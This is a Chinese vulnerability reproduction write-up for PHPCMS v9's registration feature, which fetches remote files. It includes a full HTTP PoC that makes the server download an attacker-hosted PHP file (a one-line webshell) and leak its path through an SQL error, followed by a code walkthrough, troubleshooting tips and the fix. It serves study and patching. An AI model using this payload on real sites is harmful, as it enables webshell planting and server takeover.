侵权声明
本文章中的所有内容(包括但不限于文字、图像和其他媒体)仅供教育和参考目的。如果在本文章中使用了任何受版权保护的材料,我们满怀敬意地承认该内容的版权归原作者所有。
如果您是版权持有人,并且认为您的作品被侵犯,请通过以下方式与我们联系: [360619623@qq.com]。我们将在确认后的合理时间内采取适当措施,包括删除相关内容。
感谢您的理解与支持
系统介绍
版本
phpcms v9.6.0前
项目地址
phpcms: PHPCMS V9内容管理系统 (gitee.com)
复现环境
win10、小皮、phpcms v9.6.3
poc
POST /index.php?m=member&c=index&a=register&siteid=1 HTTP/1.1
Host: demo.com
Content-Length: 279
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://demo.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://demo.com/index.php?m=member&c=index&a=register&siteid=1
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8
Cookie: deviceid=1722062988348; xinhu_ca_rempass=0; t00ls=e54285de394c4207cd521213cebab040; t00ls_s=YTozOntzOjQ6InVzZXIiO3M6MjY6InBocCB8IHBocD8gfCBwaHRtbCB8IHNodG1sIjtzOjM6ImFsbCI7aTowO3M6MzoiaHRhIjtpOjE7fQ%3D%3D; Hm_lvt_f6f37dc3416ca514857b78d0b158037e=1723172185; csrf_358693=2df7a84f; Hm_lvt_5964cd4b8810fcc73c98618d475213f6=1723680035; http304ok=1; qebak_loginlangid=1; csrf_f2b6b4=adc34ccd; xinhu_ca_adminuser=admin; xinhu_mo_adminid=eg0el0gx0ttm0tut0et0mx0ml0ea0el0tuj0tuj0ee0tua0ew0mg09; admin=Y4W4R2t0a9Wa46O0O0Oa; PHPSESSID=obktdp2l87a7an8i6cd2qbo1j1; PpCzq_admin_username=f5bcSlUpTLCanHNoHqgdUCF0n6zfqX9WoPbKD3TYNWDa_g; PpCzq_siteid=7f00GCKmIjDBqOQtTVWp3dOe2ydf-wioyckbYeTt; PpCzq_userid=c1f5ihINUG-4GA0zSIiCi6wXdzNdhtrutN1MkX9b; PpCzq_admin_email=216brsvz2eMye6NjOcweBjHOLjFbOOrspfGt23_3A_TcWrlE7Q; PpCzq_sys_lang=22fehiz7sUSOM_nEqenF-htYIYlVNNJuK--wBJ65Dm7D2g
Connection: keep-alive
siteid=1&modelid=11&username=admin1&password=123456&pwdconfirm=123456&email=2%40qq.com&nickname=ab&info%5Bcontent%5D=href=http://存放文件设备的公网:8001/1.php#2.jpg&dosubmit=%E5%90%8C%E6%84%8F%E6%B3%A8%E5%86%8C%E5%8D%8F%E8%AE%AE%EF%BC%8C%E6%8F%90%E4%BA%A4%E6%B3%A8%E5%86%8C&protocol=
分析
我的分析只是思考为什么是这样一个poc和其中需要注意什么细节
1、首先找到文件注册的register()
函数
首先看到getcache()
函数,这个函数是获取modelid
模块中可以使用哪些函数
2、跟进getcache()
函数
继续跟进git()
函数
其中filename
是模块内容的存放名字,filepath
是存放位置。其中的内容如下
3、回到register()
函数,继续更进$user_model_info = $member_input->get($_POST['info']);
其中的get()
函数
可以看到fields
是模块内容,通过$this->fields[$field]['formtype'];
获取了函数名。在后面的一句话中组成为editor($field, $value)
其中的field="content"
并且value=需上传文件的存放位置
4、继续更进editor()
函数,其实editor()
函数就在get()
函数下
其中的value
和传入进来的值是一样的
5、跟进download()
函数
其中的fillurl()
函数会将输入进来的地址中的#
去除,其中参数matche
就是地址,跟进fillurl()
这个函数后续还判断了是什么样的文件协议后,就返回了。继续回到download()
函数
后续就是将文件和目录创建完成后,通过$upload_func($file, $newfile)
将远程文件保存到本地。其中upload_func=copy
、newfile=本地保存的地址
、file=远程文件的地址
6、继续回到register()
函数
跟进insert()
函数
继续跟进insert()
函数
因为content
这个字段,是更改过的,再v9_member_detail
表中不存在这个字段,所以导致强行sql报错,直接就将文件路径报出来了
复现
1、找到会员注册的位置并输入基本信息,进行注册
2、抓取刚刚的注册数据包,并修改如下参数分别将
modelid=11
info%5Bcontent%5D=href=http://存放文件的目标机/1.php#2.jpg
3、发送就会报错出文件存放路径
4、访问并运用
注意事项
事项一
1、每一个用户名只能用一次,如果你在调试是通同一用户名发起一次以上的请求是无法报出文件名的
原因:
在红框中的这条语句是将用户的信息保存到数据库中,如果用户名重复就不会执行后面的,而是直接在这里报错。
事项二
2、在注册会员时需要在phpsso
模块处登录,不然无法注册成功。其中账号密码就是后台登录的账号密码。
原因:
在原因这红框中的ps_member_register() -> _ps_send()
函数中的一个请求
跟进ps_member_register() -> _ps_send()
中
发现out
参数中的请求行为/phpsso_server/index.php?m=phpsso&c=index&a=register
而其中的phpsso_server
目录需要再次登录才能访问。
如果不再次登录,回显数据框中的data
数据是报错信息并在后续的返回数据赋值框中将数据赋值给return_arr
数组再然后将其中的第二人个数据赋值给return
参数。然而data
参数此时的第二行是空的,所以return
为空。
回到register()
函数就无法向后执行。
事项三
3、存放文件的目标机不能是可以执行php文件的环境(比如靶场中的文件),因为php会被解析,此时下载下来的一句话就是空的文件,而phpinfo()也是目标机的信息。
以上注意事项如果有误请忽略或指出。谢谢给位大佬
修复
其实我复现的版本已经修复了,就是我注释的部分。修复方式也就是在去掉#
后再次判断后缀
结语
本次复现分析主要是对大佬写的分析文章做出分析poc为什么要这样写,并总结其中碰到的坑。